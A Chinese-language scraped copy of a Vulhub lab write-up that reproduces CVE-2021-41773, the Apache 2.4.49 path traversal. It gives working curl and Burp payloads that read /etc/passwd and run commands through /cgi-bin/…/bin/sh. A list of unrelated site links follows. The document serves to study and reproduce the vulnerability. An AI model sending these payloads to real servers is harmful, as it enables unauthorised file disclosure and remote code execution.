当前位置: 首页 > news >正文

优秀集团网站设计制作网站怎样找公司来帮做

优秀集团网站设计,制作网站怎样找公司来帮做,表白网页生成源码,太原app制作感谢互联网提供分享知识与智慧,在法治的社会里,请遵守有关法律法规 文章目录 1.1、漏洞描述1.2、漏洞等级1.3、影响版本1.4、漏洞复现1、基础环境2、漏洞验证方式一 curl方式二 bp抓包 说明内容漏洞编号CVE-2021-41773漏洞名称Apache HTTP 路径穿越漏洞漏…

感谢互联网提供分享知识与智慧,在法治的社会里,请遵守有关法律法规

文章目录

      • 1.1、漏洞描述
      • 1.2、漏洞等级
      • 1.3、影响版本
      • 1.4、漏洞复现
        • 1、基础环境
        • 2、漏洞验证
          • 方式一 curl
          • 方式二 bp抓包

说明内容
漏洞编号CVE-2021-41773
漏洞名称Apache HTTP 路径穿越漏洞
漏洞评级高危
影响范围2.4.49
漏洞描述在Apache HTTP Server 2.4.49中对路径规范化所做的更改中发现了一个缺陷。攻击者可以使用路径遍历攻击将URL映射到预期文档根目录之外的文件
修复方案

1.1、漏洞描述

Apache HTTP服务器项目致力于为现代操作系统(包括UNIX和Windows)开发和维护开源HTTP服务器。

在Apache HTTP Server 2.4.49中对路径规范化所做的更改中发现了一个缺陷。攻击者可以使用路径遍历攻击将URL映射到预期文档根目录之外的文件。

如果这些目录之外的文件不受通常的默认配置“要求全部拒绝”的保护,则这些请求可以成功。如果CGI脚本也为这些别名路径启用,则可以允许远程代码执行。

1.2、漏洞等级

高危

1.3、影响版本

Apache HTTP Server 2.4.49

1.4、漏洞复现

1、基础环境

Path:Vulhub/httpd/CVE-2021-41773


启动测试环境:

sudo docker-compose build
sudo docker-compose up -d

访问http://your-ip:8080/即可看到

在这里插入图片描述

2、漏洞验证
方式一 curl

/icons/必须是现有目录

curl -v --path-as-is http://192.168.80.141:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

在这里插入图片描述

在服务器上启用mods cgicgid后,此路径遍历漏洞将允许执行任意命令

curl -v --data "echo;id" 'http://192.168.80.141:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'

在这里插入图片描述

方式二 bp抓包
/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

在这里插入图片描述

/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh
echo;id

在这里插入图片描述

http://www.yayakq.cn/news/425095/

相关文章:

  • 太原网站快速排名提升wordpress文章统计插件
  • 一个专门做视频配音的网站百度小程序开发教程
  • 网站下一步工作怎么做怎么做网站图片的切换图
  • 昆明平台网站开发小程序第三方平台免费
  • 东莞市国外网站建设报价二级建造师报考条件官网
  • 外贸订单的网站网站更改备案
  • 服务号网站建设给大家推荐免费视频服务器
  • 套模板的网站新浪云虚拟主机做电影网站
  • wordpress mu 安装郑州网站建设优化
  • 欢迎访问中国建设银行网站个人客户wordpress获取分类链接
  • 建设网站有什么作用是什么wordpress改网站logo
  • 网站建设套用模板室内设计和平面设计区别
  • 服务器租用教程上海seo推广价格
  • 网站备案账号密码卖域名
  • 网站提交了被收录后改怎么做WordPress手机文章缩略图
  • 企业网站的设计与开发厦门免费自助建站模板
  • 动漫设计工作室网站建设公司北京做电商网站
  • 企业网站首页应如何布局专业的网站制作公司
  • 最流行网站开发工具自助个人免费网站
  • 专业建站模板外贸公司企业网站
  • 昆明360网站制作做ui的网站有哪些
  • 关于.net网站开发外文书籍网站建设价格报价
  • 模板网站会影响网站优化吗网站建设战略规划的方法
  • 智能建站系统cms萧山网站建设xsszwl
  • 用word怎么做网站网站首屏高度
  • 中石化网站是哪个公司做的用wordpress招商
  • 马鞍山网站建设与制作wordpress项目管理插件
  • 性价比最高网站建设东营最新新闻
  • 教学资源网站建设方案网站备案一个主体
  • 网站说服力 营销型网站策划北京网站备案号查询